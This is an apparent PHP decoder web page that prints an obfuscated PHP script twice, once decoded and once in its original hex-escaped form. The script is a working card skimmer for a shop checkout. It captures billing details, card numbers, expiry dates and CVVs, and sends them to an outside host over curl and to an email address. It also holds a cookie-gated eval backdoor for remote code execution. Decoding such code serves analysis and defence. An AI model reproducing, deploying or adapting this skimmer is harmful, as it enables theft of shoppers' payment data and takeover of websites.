Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4c\x4f\x42\x41LS"}["\x6b\x75\x76f\x76\x6d\x75"] = "c\x6e\x74"; ${"GL\x4f\x42A..

Decoded Output download

<?php ${"GLOBALS"}["kuvfvmu"] = "cnt"; 
${"GLOBALS"}["ybfrkyrq"] = "cc_pay_encoded"; 
${"GLOBALS"}["ymogdljduiw"] = "cc_cid"; 
${"GLOBALS"}["xgtbwueb"] = "cc_number"; 
${"GLOBALS"}["bkivgqmpoyx"] = "cc_pay"; 
${"GLOBALS"}["nnkrlrwsqp"] = "p_value"; 
${"GLOBALS"}["cgjnhpsbm"] = "cc_year"; 
${"GLOBALS"}["vtejheto"] = "cc_month"; 
${"GLOBALS"}["brgmpqunnop"] = "matches"; 
${"GLOBALS"}["uxyrjjzsv"] = "f_value"; 
${"GLOBALS"}["gzgcyf"] = "fieldsArray"; 
${"GLOBALS"}["nfnvuvcigv"] = "bill"; 
${"GLOBALS"}["vuvydoc"] = "ch"; 
${"GLOBALS"}["bhabrea"] = "post"; 
${"GLOBALS"}["rcpprx"] = "options"; 
if (!defined("PORTZILLA")) { 
    define("PORTZILLA", 1); 
    function curl_zilla($url, $post) 
    { 
        ${"GLOBALS"}["hhmpbmfc"] = "ch"; 
        ${${"GLOBALS"}["rcpprx"]} = array(CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_ENCODING => "", CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0", CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false); 
        $ufmlrtgsr = "post"; 
        $msumbkp = "content"; 
        $ykgztbjb = "url"; 
        if (${$ufmlrtgsr}) { 
            ${"GLOBALS"}["ocqftvs"] = "options"; 
            ${${"GLOBALS"}["ocqftvs"]}[CURLOPT_POST] = 1; 
            ${${"GLOBALS"}["rcpprx"]}[CURLOPT_POSTFIELDS] = ${${"GLOBALS"}["bhabrea"]}; 
        } 
        ${${"GLOBALS"}["vuvydoc"]} = curl_init(${$ykgztbjb}); 
        $msxxitoax = "content"; 
        curl_setopt_array(${${"GLOBALS"}["hhmpbmfc"]}, ${${"GLOBALS"}["rcpprx"]}); 
        ${$msxxitoax} = @curl_exec(${${"GLOBALS"}["vuvydoc"]}); 
        return ${$msumbkp}; 
    } 
 
    set_time_limit(360); 
    if (isset($_POST["billing"])) { 
        $qevdfin = "bill"; 
        ${$qevdfin} = $_POST["billing"]["firstname"] . " " . $_POST["billing"]["lastname"] . "|" . $_POST["billing"]["street"]["0"] . "|" . $_POST["billing"]["city"] . "|" . $_POST["billing"]["region"] . " |" . $_POST["billing"]["postcode"] . "|" . $_POST["billing"]["country_id"] . "|" . $_POST["billing"]["telephone"] . " " . $_POST["billing"]["email"]; 
        $egrytziwtoy = "bill"; 
        setcookie("__billing_data", base64_encode(${$egrytziwtoy}), time() + 36000, "/"); 
        $_COOKIE["__billing_data"] = base64_encode(${${"GLOBALS"}["nfnvuvcigv"]}); 
    } 
    if (isset($_POST["payment"])) { 
        $ejgggiebnufn = "fieldsArray"; 
        $gggubecdr = "f_key"; 
        ${$ejgggiebnufn} = array("/.*cc_num.*/" => 1, "/.*cc_exp_m.*/" => 2, "/.*cc_exp_y.*/" => 3, "/.*cc_cid.*/" => 4); 
        ${"GLOBALS"}["ydjumuchumo"] = "cc_number"; 
        foreach (${${"GLOBALS"}["gzgcyf"]} as ${$gggubecdr} => ${${"GLOBALS"}["uxyrjjzsv"]}) { 
            $hffitwlwmv = "p_value"; 
            ${"GLOBALS"}["lqjvwkjsveig"] = "p_key"; 
            foreach ($_POST["payment"] as ${${"GLOBALS"}["lqjvwkjsveig"]} => ${$hffitwlwmv}) { 
                $bikfikjyhza = "p_key"; 
                $iitsdtxlj = "f_key"; 
                if (preg_match(${$iitsdtxlj}, ${$bikfikjyhza}, ${${"GLOBALS"}["brgmpqunnop"]})) { 
                    $qocejiqg = "cc_number"; 
                    $smyxbbc = "p_value"; 
                    $syfupgfqrp = "p_value"; 
                    ${"GLOBALS"}["oytjcjywaom"] = "cc_cid"; 
                    switch (${${"GLOBALS"}["uxyrjjzsv"]}) { 
                        case 1: 
                            ${$qocejiqg} = ${$smyxbbc}; 
                            break; 
                        case 2: 
                            ${${"GLOBALS"}["vtejheto"]} = ${$syfupgfqrp}; 
                            break; 
                        case 3: 
                            ${${"GLOBALS"}["cgjnhpsbm"]} = ${${"GLOBALS"}["nnkrlrwsqp"]}; 
                            break; 
                        case 4: 
                            ${${"GLOBALS"}["oytjcjywaom"]} = ${${"GLOBALS"}["nnkrlrwsqp"]}; 
                            break; 
                    } 
                    break; 
                } 
            } 
        } 
        if (isset(${${"GLOBALS"}["ydjumuchumo"]})) { 
            $qoyqcoj = "cc_year"; 
            $doedozkg = "cc_pay"; 
            $rluzlzwfw = "cc_month"; 
            ${"GLOBALS"}["hnxmktyd"] = "cc_pay_encoded"; 
            ${"GLOBALS"}["cfwemzdiuk"] = "cc_year"; 
            if (strlen(${${"GLOBALS"}["vtejheto"]}) == 1) ${${"GLOBALS"}["vtejheto"]} = "0" . ${$rluzlzwfw}; 
            ${"GLOBALS"}["mtukjmvrkytk"] = "cc_pay_encoded"; 
            if (strlen(${${"GLOBALS"}["cgjnhpsbm"]}) == 4) ${${"GLOBALS"}["cgjnhpsbm"]} = substr(${${"GLOBALS"}["cfwemzdiuk"]}, 2, 2); 
            ${${"GLOBALS"}["bkivgqmpoyx"]} = ${${"GLOBALS"}["xgtbwueb"]} . "|" . ${${"GLOBALS"}["vtejheto"]} . "/" . ${$qoyqcoj} . "|" . ${${"GLOBALS"}["ymogdljduiw"]} . "|" . base64_decode($_COOKIE["__billing_data"]); 
            ${${"GLOBALS"}["mtukjmvrkytk"]} = base64_encode(str_rot13(${$doedozkg} . "
*" . $_SERVER["HTTP_HOST"] . "*")); 
            ${${"GLOBALS"}["ybfrkyrq"]} = str_replace("+", "%2b", ${${"GLOBALS"}["hnxmktyd"]}); 
            if (function_exists("curl_init")) { 
                $vxblgftxzi = "cnt"; 
                ${"GLOBALS"}["katkgbxq"] = "cnt"; 
                ${${"GLOBALS"}["katkgbxq"]} = curl_zilla("https://javasources.net/WP/new_release/index.php?view=" . ${${"GLOBALS"}["ybfrkyrq"]}, false); 
                ${${"GLOBALS"}["kuvfvmu"]} = trim(${$vxblgftxzi}); 
            } 
            @mail("[email protected]", "bb_" . $_SERVER["HTTP_HOST"], ${${"GLOBALS"}["bkivgqmpoyx"]}); 
        } 
        if ((isset($_COOKIE["portzilla"])) && (md5($_COOKIE["portzilla"]) == "f2ba0c4297f3d1eb1316f9e57b691161")) { 
            @eval($_POST["p0"]); 
            exit; 
        } 
    } 
} 
?>%                                                                                                                                                              

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4f\x42\x41LS"}["\x6b\x75\x76f\x76\x6d\x75"] = "c\x6e\x74";
${"GL\x4f\x42AL\x53"}["\x79\x62\x66r\x6by\x72\x71"] = "cc_\x70a\x79_e\x6ec\x6f\x64\x65\x64";
${"\x47\x4c\x4f\x42\x41L\x53"}["y\x6d\x6fgdl\x6adu\x69\x77"] = "\x63\x63_cid";
${"\x47\x4cOBALS"}["\x78\x67\x74\x62\x77\x75\x65\x62"] = "\x63\x63\x5f\x6eu\x6d\x62\x65\x72";
${"G\x4c\x4fB\x41LS"}["b\x6b\x69\x76g\x71\x6dp\x6f\x79\x78"] = "\x63\x63\x5f\x70\x61y";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x6ekr\x6c\x72\x77sq\x70"] = "\x70\x5f\x76\x61\x6cu\x65";
${"G\x4cO\x42A\x4c\x53"}["\x63\x67jn\x68p\x73\x62m"] = "cc\x5f\x79e\x61\x72";
${"\x47\x4cO\x42\x41\x4cS"}["v\x74e\x6a\x68\x65\x74o"] = "\x63\x63\x5fm\x6f\x6et\x68";
${"GL\x4fB\x41LS"}["\x62\x72g\x6d\x70\x71\x75\x6e\x6eo\x70"] = "\x6d\x61tc\x68es";
${"\x47\x4c\x4fBA\x4c\x53"}["uxy\x72\x6a\x6a\x7a\x73\x76"] = "f\x5f\x76\x61l\x75e";
${"\x47\x4c\x4fB\x41\x4c\x53"}["gz\x67cyf"] = "\x66i\x65ld\x73\x41r\x72a\x79";
${"GL\x4f\x42A\x4cS"}["\x6e\x66\x6e\x76uvcigv"] = "\x62\x69\x6cl";
${"GL\x4fB\x41L\x53"}["\x76\x75\x76\x79\x64\x6fc"] = "\x63\x68";
${"\x47\x4c\x4fB\x41\x4cS"}["\x62\x68\x61\x62r\x65\x61"] = "\x70\x6fs\x74";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x72c\x70p\x72\x78"] = "\x6fp\x74i\x6f\x6e\x73";
if (!defined("\x50O\x52TZ\x49\x4cL\x41")) {
    define("\x50\x4f\x52\x54\x5a\x49LLA", 1);
    function curl_zilla($url, $post)
    {
        ${"\x47\x4cO\x42\x41\x4c\x53"}["\x68h\x6d\x70\x62\x6df\x63"] = "c\x68";
        ${${"\x47L\x4fB\x41\x4c\x53"}["rc\x70\x70r\x78"]} = array(CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_ENCODING => "", CURLOPT_USERAGENT => "\x4doz\x69\x6c\x6ca/\x35\x2e\x30\x20(W\x69nd\x6f\x77\x73 \x4eT \x35.1\x3b \x72\x76:\x33\x32\x2e\x30) Ge\x63k\x6f/\x32\x30\x3120101\x20\x46ir\x65\x66ox/3\x32\x2e0", CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false);
        $ufmlrtgsr = "\x70\x6f\x73\x74";
        $msumbkp = "\x63\x6f\x6eten\x74";
        $ykgztbjb = "\x75rl";
        if (${$ufmlrtgsr}) {
            ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6fc\x71\x66t\x76\x73"] = "\x6fptio\x6e\x73";
            ${${"GLOB\x41\x4c\x53"}["\x6f\x63\x71\x66tv\x73"]}[CURLOPT_POST] = 1;
            ${${"\x47L\x4fB\x41\x4cS"}["\x72\x63\x70p\x72\x78"]}[CURLOPT_POSTFIELDS] = ${${"\x47\x4cOB\x41\x4c\x53"}["bhab\x72\x65a"]};
        }
        ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x75v\x79\x64\x6f\x63"]} = curl_init(${$ykgztbjb});
        $msxxitoax = "\x63\x6f\x6e\x74\x65nt";
        curl_setopt_array(${${"\x47L\x4f\x42AL\x53"}["\x68h\x6d\x70\x62m\x66\x63"]}, ${${"\x47LOBA\x4cS"}["r\x63pprx"]});
        ${$msxxitoax} = @curl_exec(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76uv\x79\x64\x6fc"]});
        return ${$msumbkp};
    }

    set_time_limit(360);
    if (isset($_POST["\x62i\x6clin\x67"])) {
        $qevdfin = "b\x69l\x6c";
        ${$qevdfin} = $_POST["b\x69\x6c\x6ci\x6e\x67"]["f\x69\x72\x73tn\x61\x6de"] . "\x20" . $_POST["b\x69l\x6c\x69\x6eg"]["\x6c\x61\x73\x74name"] . "|" . $_POST["\x62\x69\x6c\x6c\x69ng"]["\x73t\x72ee\x74"]["\x30"] . "|" . $_POST["b\x69ll\x69n\x67"]["\x63\x69\x74\x79"] . "|" . $_POST["\x62\x69l\x6c\x69\x6eg"]["region"] . "\x20|" . $_POST["\x62\x69ll\x69n\x67"]["\x70o\x73tc\x6fd\x65"] . "|" . $_POST["\x62i\x6c\x6c\x69ng"]["co\x75nt\x72\x79\x5f\x69\x64"] . "|" . $_POST["bi\x6c\x6cin\x67"]["t\x65le\x70hone"] . "\x20" . $_POST["b\x69l\x6cin\x67"]["e\x6dail"];
        $egrytziwtoy = "\x62\x69l\x6c";
        setcookie("__\x62ill\x69\x6eg\x5f\x64at\x61", base64_encode(${$egrytziwtoy}), time() + 36000, "/");
        $_COOKIE["\x5f_b\x69\x6cl\x69\x6eg\x5fda\x74a"] = base64_encode(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6e\x66\x6e\x76u\x76ci\x67\x76"]});
    }
    if (isset($_POST["p\x61y\x6de\x6et"])) {
        $ejgggiebnufn = "f\x69\x65\x6c\x64\x73\x41rra\x79";
        $gggubecdr = "f\x5fke\x79";
        ${$ejgggiebnufn} = array("/\x2e*cc\x5fn\x75\x6d.*/" => 1, "/\x2e*cc_\x65x\x70_m.*/" => 2, "/.*\x63\x63_e\x78p_\x79\x2e*/" => 3, "/\x2e*c\x63_c\x69\x64\x2e*/" => 4);
        ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79dj\x75m\x75\x63\x68\x75\x6d\x6f"] = "\x63\x63\x5fn\x75\x6d\x62\x65r";
        foreach (${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x67zgc\x79f"]} as ${$gggubecdr} => ${${"\x47\x4c\x4fBA\x4cS"}["\x75\x78\x79\x72j\x6a\x7asv"]}) {
            $hffitwlwmv = "\x70_v\x61\x6c\x75\x65";
            ${"\x47\x4c\x4fB\x41\x4cS"}["\x6cqj\x76\x77\x6bj\x73v\x65\x69\x67"] = "\x70_\x6b\x65\x79";
            foreach ($_POST["pay\x6d\x65\x6et"] as ${${"\x47\x4cO\x42\x41\x4cS"}["\x6c\x71\x6a\x76\x77\x6b\x6a\x73\x76ei\x67"]} => ${$hffitwlwmv}) {
                $bikfikjyhza = "\x70\x5f\x6b\x65y";
                $iitsdtxlj = "\x66\x5f\x6b\x65\x79";
                if (preg_match(${$iitsdtxlj}, ${$bikfikjyhza}, ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62r\x67\x6d\x70qu\x6e\x6e\x6f\x70"]})) {
                    $qocejiqg = "\x63c_\x6eumb\x65r";
                    $smyxbbc = "\x70_\x76\x61\x6c\x75e";
                    $syfupgfqrp = "p\x5f\x76a\x6c\x75e";
                    ${"G\x4c\x4f\x42\x41\x4cS"}["\x6f\x79t\x6a\x63\x6a\x79wa\x6f\x6d"] = "\x63c\x5f\x63\x69d";
                    switch (${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75x\x79\x72jjz\x73\x76"]}) {
                        case 1:
                            ${$qocejiqg} = ${$smyxbbc};
                            break;
                        case 2:
                            ${${"G\x4cO\x42\x41L\x53"}["v\x74\x65j\x68e\x74\x6f"]} = ${$syfupgfqrp};
                            break;
                        case 3:
                            ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63\x67\x6a\x6e\x68\x70\x73\x62m"]} = ${${"\x47L\x4fB\x41L\x53"}["nn\x6b\x72\x6c\x72\x77sqp"]};
                            break;
                        case 4:
                            ${${"\x47\x4cO\x42\x41\x4cS"}["\x6f\x79t\x6a\x63j\x79waom"]} = ${${"G\x4cO\x42\x41\x4c\x53"}["\x6enk\x72\x6cr\x77\x73\x71\x70"]};
                            break;
                    }
                    break;
                }
            }
        }
        if (isset(${${"\x47\x4c\x4f\x42\x41L\x53"}["y\x64\x6a\x75\x6d\x75chum\x6f"]})) {
            $qoyqcoj = "\x63\x63\x5fy\x65a\x72";
            $doedozkg = "\x63c\x5f\x70\x61\x79";
            $rluzlzwfw = "c\x63_\x6d\x6f\x6e\x74h";
            ${"\x47\x4c\x4f\x42A\x4c\x53"}["h\x6e\x78mk\x74y\x64"] = "cc_\x70a\x79\x5fen\x63o\x64\x65\x64";
            ${"G\x4cO\x42\x41\x4c\x53"}["\x63f\x77e\x6d\x7a\x64\x69\x75\x6b"] = "\x63c\x5fye\x61r";
            if (strlen(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x74\x65j\x68\x65\x74\x6f"]}) == 1) ${${"GL\x4f\x42\x41\x4c\x53"}["\x76\x74\x65\x6ah\x65\x74o"]} = "\x30" . ${$rluzlzwfw};
            ${"\x47LOB\x41\x4c\x53"}["\x6d\x74\x75\x6b\x6amv\x72\x6byt\x6b"] = "c\x63_\x70\x61\x79_\x65\x6ec\x6f\x64\x65\x64";
            if (strlen(${${"\x47\x4cO\x42\x41\x4cS"}["\x63\x67\x6a\x6eh\x70s\x62\x6d"]}) == 4) ${${"\x47LO\x42\x41\x4c\x53"}["\x63\x67\x6an\x68\x70\x73\x62\x6d"]} = substr(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x66w\x65\x6d\x7a\x64i\x75\x6b"]}, 2, 2);
            ${${"\x47\x4c\x4fB\x41\x4c\x53"}["b\x6biv\x67\x71\x6d\x70\x6fy\x78"]} = ${${"\x47LOB\x41LS"}["\x78\x67\x74bwue\x62"]} . "|" . ${${"\x47LO\x42\x41\x4c\x53"}["\x76\x74\x65\x6ah\x65t\x6f"]} . "/" . ${$qoyqcoj} . "|" . ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79m\x6f\x67\x64lj\x64\x75\x69\x77"]} . "|" . base64_decode($_COOKIE["__bi\x6c\x6cin\x67\x5fd\x61\x74a"]);
            ${${"G\x4cO\x42\x41\x4cS"}["\x6d\x74\x75\x6b\x6am\x76\x72\x6b\x79\x74\x6b"]} = base64_encode(str_rot13(${$doedozkg} . "\r\n*" . $_SERVER["\x48\x54T\x50_H\x4f\x53\x54"] . "*"));
            ${${"\x47\x4cOB\x41L\x53"}["yb\x66r\x6byr\x71"]} = str_replace("+", "\x25\x32b", ${${"\x47LO\x42ALS"}["\x68nxm\x6b\x74\x79d"]});
            if (function_exists("c\x75r\x6c\x5f\x69\x6eit")) {
                $vxblgftxzi = "\x63nt";
                ${"\x47LOB\x41L\x53"}["\x6ba\x74k\x67\x62\x78\x71"] = "\x63nt";
                ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6ba\x74kgb\x78\x71"]} = curl_zilla("h\x74tp\x73://\x6a\x61v\x61\x73\x6f\x75r\x63\x65\x73.n\x65t/\x57\x50/\x6e\x65\x77_\x72e\x6c\x65a\x73\x65/i\x6e\x64ex\x2eph\x70?\x76iew\x3d" . ${${"\x47\x4c\x4f\x42\x41\x4cS"}["ybf\x72kyr\x71"]}, false);
                ${${"GLO\x42A\x4c\x53"}["k\x75\x76\x66\x76m\x75"]} = trim(${$vxblgftxzi});
            }
            @mail("o\x62r\x61\x7at\x73\x6fv\x61.ali\x73\x6ba\x40y\x61ndex\x2eru", "\x62b\x5f" . $_SERVER["HT\x54\x50\x5f\x48O\x53\x54"], ${${"\x47L\x4fBALS"}["bkivg\x71m\x70\x6f\x79\x78"]});
        }
        if ((isset($_COOKIE["p\x6frtzi\x6cla"])) && (md5($_COOKIE["\x70o\x72tz\x69l\x6c\x61"]) == "\x66\x32\x62a\x30c\x342\x39\x37f3\x64\x31eb13\x316f9\x65\x357\x62\x36\x39\x3116\x31")) {
            @eval($_POST["p\x30"]);
            exit;
        }
    }
}
?>%                                                                                                                                                              

Function Calls

None

Variables

None

Stats

MD5 827f697ac516cd11c6332f0801b6fc21
Eval Count 0
Decode Time 108 ms